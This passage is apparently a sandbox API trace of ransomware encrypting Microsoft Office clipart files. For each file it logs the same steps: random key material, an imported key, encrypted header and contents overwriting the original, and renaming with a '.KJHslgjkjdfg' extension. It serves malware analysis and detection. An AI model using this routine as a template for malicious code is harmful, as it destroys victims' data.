ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309705.JPG", cAlternateFileName="")) returned 1 [0182.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.963] GetProcessHeap () returned 0x2a0000 [0182.963] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.963] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.963] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.963] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0182.974] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.974] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.974] GetProcessHeap () returned 0x2a0000 [0182.974] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.975] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.975] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.975] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.975] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.975] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.975] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.975] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.975] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.975] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ada, lpOverlapped=0x0) returned 1 [0182.976] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ae0, dwBufLen=0x4ae0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4ae0) returned 1 [0182.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.976] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4ae0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4ae0, lpOverlapped=0x0) returned 1 [0182.977] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.977] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4bb4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.977] SetEndOfFile (hFile=0x114) returned 1 [0182.979] GetProcessHeap () returned 0x2a0000 [0182.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.979] GetProcessHeap () returned 0x2a0000 [0182.979] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.979] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.kjhslgjkjdfg")) returned 1 [0182.980] CloseHandle (hObject=0x114) returned 1 [0182.980] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b95a400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b95a400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309902.WMF", cAlternateFileName="")) returned 1 [0182.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.981] GetProcessHeap () returned 0x2a0000 [0182.981] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.981] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.981] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.981] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.981] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.981] GetProcessHeap () returned 0x2a0000 [0182.982] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.982] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.982] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.982] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.987] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.987] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.987] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.987] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.987] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.987] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.987] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.987] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a00, lpOverlapped=0x0) returned 1 [0182.988] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a00) returned 1 [0182.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.988] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a00, lpOverlapped=0x0) returned 1 [0182.988] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.988] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.988] SetEndOfFile (hFile=0x114) returned 1 [0182.990] GetProcessHeap () returned 0x2a0000 [0182.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0182.991] GetProcessHeap () returned 0x2a0000 [0182.991] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0182.991] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.kjhslgjkjdfg")) returned 1 [0182.992] CloseHandle (hObject=0x114) returned 1 [0182.992] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cc6d100, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5cc6d100, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x20e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309904.WMF", cAlternateFileName="")) returned 1 [0182.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0182.993] GetProcessHeap () returned 0x2a0000 [0182.993] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0182.993] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0182.993] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0182.993] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0182.995] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.995] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.995] GetProcessHeap () returned 0x2a0000 [0182.995] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0182.995] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0182.995] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.995] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0182.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0182.995] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0182.995] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0182.995] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0182.995] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0182.996] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0182.996] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0182.996] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.996] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x20e4, lpOverlapped=0x0) returned 1 [0182.997] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x20f0) returned 1 [0182.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.997] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x20f0, lpOverlapped=0x0) returned 1 [0182.997] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0182.997] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.997] SetEndOfFile (hFile=0x114) returned 1 [0183.000] GetProcessHeap () returned 0x2a0000 [0183.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.000] GetProcessHeap () returned 0x2a0000 [0183.000] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.kjhslgjkjdfg")) returned 1 [0183.002] CloseHandle (hObject=0x114) returned 1 [0183.002] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea87400, ftCreationTime.dwHighDateTime=0x1bf5cb6, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6ea87400, ftLastWriteTime.dwHighDateTime=0x1bf5cb6, nFileSizeHigh=0x0, nFileSizeLow=0x2b38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0309920.WMF", cAlternateFileName="")) returned 1 [0183.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.003] GetProcessHeap () returned 0x2a0000 [0183.003] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.003] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.003] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.003] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.014] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.014] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.014] GetProcessHeap () returned 0x2a0000 [0183.014] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.015] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0183.015] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.015] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0183.015] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0183.015] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0183.016] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0183.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0183.016] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0183.016] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.016] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.016] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.016] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b38, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b38, lpOverlapped=0x0) returned 1 [0183.017] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b40, dwBufLen=0x2b40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b40) returned 1 [0183.017] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.017] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b40, lpOverlapped=0x0) returned 1 [0183.018] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0183.018] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2c14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.018] SetEndOfFile (hFile=0x114) returned 1 [0183.021] GetProcessHeap () returned 0x2a0000 [0183.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0183.021] GetProcessHeap () returned 0x2a0000 [0183.021] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0183.021] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.kjhslgjkjdfg")) returned 1 [0183.022] CloseHandle (hObject=0x114) returned 1 [0183.022] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a03b100, ftCreationTime.dwHighDateTime=0x1c97bb5, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a03b100, ftLastWriteTime.dwHighDateTime=0x1c97bb5, nFileSizeHigh=0x0, nFileSizeLow=0x911a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0313896.JPG", cAlternateFileName="")) returned 1 [0183.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0313896.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0313896.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0183.025] GetProcessHeap () returned 0x2a0000 [0183.025] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0183.025] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0183.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0183.025] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0183.027] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0183.027] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0183.027] GetProcessHeap () returned 0x2a0000 [0183.027] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0183.027] CryptEncrypt 